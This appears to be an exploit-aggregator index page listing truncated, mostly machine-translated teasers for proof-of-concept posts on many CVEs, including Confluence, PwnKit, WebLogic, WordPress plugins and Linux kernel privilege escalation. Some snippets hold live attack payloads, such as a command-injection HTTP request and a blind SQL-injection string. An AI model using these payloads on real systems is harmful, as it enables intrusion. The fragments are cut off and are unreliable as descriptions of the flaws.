pixel-ksu-root

pixel-ksu-root एक adb-संचालित टूल जो स्टॉक, लॉक्ड-बूटलोडर Google Pixel को बूटलोडर अनलॉक किए बिना या बूट इमेज को संशोधित किए बिना KernelSU-रूटेड डिवाइस में बदल देता है। होस्ट से यह डिवाइस पर एक अनप्रिविलेज्ड यूज़रस्पेस कर्नेल एक्सप्लॉइट चलाकर अस्थायी कर्नेल रीड/राइट प्राप्त करता है, उस प्रिमिटिव क...

CVE-2024-23692

CVE-2024-23692 BURP POC root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

JavaScript obfuscation: From party trick to phishing kit

We open a JavaScript artifact hoping for code, and instead get string arrays, strangely named functions, encoded URLs, runtime decoders, and eval statements. That is the point where "reading the script" stops being enough. Obfuscated JavaScript is still code, but it is code with the useful contex...

CVE-2021-27404

प्रमाणित होस्ट हेडर इंजेक्शन - Askey इंटरनेट फाइबर मॉडेम विक्रेता: Askey सॉफ़्टवेयर संस्करण: BRSVg11.11RTFTEF001V6.54V014 मॉडल: RTF8115VW संवेदनशील हेडर: Host अन्य मॉडल/संस्करण में परीक्षण नहीं किया गया। प्रभाव: एक हमलावर इस भेद्यता का लाभ उठाकर उपयोगकर्ता को नकली लॉगिन पृष्ठ पर पुनर्निर्देशित कर...

CVE-2020-28351

ShoreTel 19.46.1802.0 परावर्तित क्रॉस-साइट स्क्रिप्टिंग हमला Mitel ShoreTel 19.46.1802.0 उपकरणों पर कॉन्फ्रेंसिंग घटक एक अनधिकृत हमलावर को index.php के PATHINFO के माध्यम से परावर्तित क्रॉस-साइट स्क्रिप्टिंग हमला XSS करने की अनुमति दे सकता है, क्योंकि HOMEMEETING& पेज में timezone ऑब्जेक्ट के लिए...

CVE-2022-26134

CVE-2022-26134 - Уязвимость OGNL-инъекции. В затронутых версиях Confluence Server и Data Center существует уязвимость OGNL-инъекции, которая позволяет неавторизованному злоумышленнику выполнять произвольный код на экземпляре Confluence Server или Data Center. PoC: root@kitploit: git clone...

CVE-2026-31431

CVE-2026-31431 — AFALG के माध्यम से स्थानीय विशेषाधिकार वृद्धि 2026-04-29 — मैं इस एक्सप्लॉइट कोMyDigitalLife फ़ोरम पर साझा करने के एक दिन बाद प्रकाशित कर रहा हूँ। इसे Python की आवश्यकता नहीं है; यह C में लिखा गया है और निम्न का उपयोग करके सबसे छोटे संभव आकार में संकलित किया गया है: root@kitploit...

CVE-2024-9796

CVE-2024-9796 वर्डप्रेस WP-Advanced-Search = 5.0.12 time-based blind IF - comment Payload: t=wpautosuggest&f=ifnow=sysdate,SLEEP9,0-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'...

CVE-2021-4034

CVE-2021-4034 polkit विशेषाधिकार वृद्धि शोषण के लिए एक दिन बस make, ./cve-2021-4034 चलाएँ और अपना रूट शेल प्राप्त करें। वास्तविक लेखकों द्वारा मूल सलाह यहाँ है PoC यदि शोषण काम कर रहा है तो आपको तुरंत रूट शेल मिल जाएगा: root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared...

CVE-2021-4034

CVE-2021-4034 एक्सप्लॉइट PwnKit कमजोरी के लिए रूट एक्सप्लॉइट। मूल रिपोर्ट देखें यहाँ। इस एक्सप्लॉइट का उपयोग लक्ष्य प्रणाली के मालिकों की स्पष्ट अनुमति के साथ करें। निर्माण libc के अलावा कोई निर्भरता नहीं चाहिए। बस make चलाएँ। चलाना विकल्पों के बिना चलाने से एक्सप्लॉइट निष्पादित होगा:...

CVE-2021-21017

CVE-2021-21017 Adobe Reader का एक और बाइट ऑर्डर मार्क बग नहीं : root@kitploit: IA32 प्लगइन, ver. 2020.013.20074. char cdecl FUN2581894cchar baseurl,LPCSTR relurl ............................................................ ............................................................ if baseurl !=...

CVE-2020-14882

CVE-2020-14882 Oracle WebLogic Server प्रमाणीकरण बाईपास Oracle Fusion Middleware के Oracle WebLogic Server उत्पाद में भेद्यता घटक: Console। प्रभावित समर्थित संस्करण 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 और 14.1.1.0.0 हैं। आसानी से शोषण योग्य यह भेद्यता HTTP के माध्यम से नेटवर्क एक्सेस रख...

ls-poc

CVE-2026-30368 प्रूफ ऑफ कॉन्सेप्ट !IMPORTANT यह पैच हो चुका है और अब क्रेडेंशियल्स की आवश्यकता है, स्वयं पर कार्य करने के लिए वर्कअराउंड का उपयोग करें। परिचय CVE-2026-30368 एक कमजोर प्रमाणीकरण दोष के माध्यम से एक हमलावर को Lightspeed Classroom प्रबंधन में छात्र डिवाइसों को नियंत्रित करने की अनुमत...

CVE-2024-9932

CVE-2024-9932 Wux Blog Editor = 3.0.0 - Upload Arbitrário de Arquivos Não Autenticado Descrição: O plugin Wux Blog Editor para WordPress é vulnerável a uploads arbitrários de arquivos devido à validação insuficiente do tipo de arquivo na função 'wuxbtinsertImageNew' em versões até, e incluindo,...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...

Security Bulletin: Multiple vulnerabilities in IBM Java SDK affect IBM Tivoli System Automation for Multiplatforms

Summary There are multiple vulnerabilities in IBM SDK Java Technology Edition, Version 8 used by IBM Tivoli System Automation for Multiplatforms. Vulnerability Details CVEID:CVE-2026-41254 DESCRIPTION: Little CMS lcms2 through 2.18 has an integer overflow in CubeSize in cmslut.c because the...

BotCon

BotCon Attlasian Confluence बिना प्रमाणीकरण के OGNL इंजेक्शन के माध्यम से दूरस्थ कोड निष्पादन CVE-2022-26134 02 जून, 2022 को Atlassian ने अपने Confluence Server और Data Center अनुप्रयोगों के लिए एक सुरक्षा सलाह जारी की, जिसमें एक गंभीर स्तर की बिना प्रमाणीकरण वाली दूरस्थ कोड निष्पादन भेद्यता पर...

desc_race-1

descrace "descrace" CVE-2021-30955 iOS 15.0 - 15.1.1 के लिए शोषण स्थिर कर्नेल r/w प्राइमिटिव्स के साथ शोषण विधि 1. IOSurfaceClient ऐरे की क्षमता को 0x2000 तक बढ़ाएँ, लक्ष्य एक पॉइंटर लिखना है जिसकी सामग्री पूरी तरह से नियंत्रित हो और फिर कर्नेल r/w प्राप्त करने के लिए IOSurfaceRootUserClient...

CVE-2024-21262

السجلات فقط لإعادة إنتاج CVEs. الموارد ذات الصلة: رابط GITHUB1 GITHUB2 مشكلة فحص البيئات قم بتنزيل docker-24.0.6.tgz من https://download.docker.com/linux/static/stable/x8664/. root@kitploit: sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C /usr/local/docker-24.0.6 sudo ln...

CVE-2026-31431

CVE-2026-31431 — "कॉपी फेल" Linux कर्नेल क्रिप्टो algifaead सबसिस्टम में लोकल प्रिविलेज एस्केलेशन। अवलोकन CVE-2026-31431, जिसे "कॉपी फेल" नाम दिया गया है, Linux कर्नेल के authencesn क्रिप्टोग्राफिक टेम्पलेट algifaead में एक लॉजिक बग है। यह एक अनप्रिविलेज्ड लोकल यूज़र को किसी भी पठनीय फ़ाइल के पेज...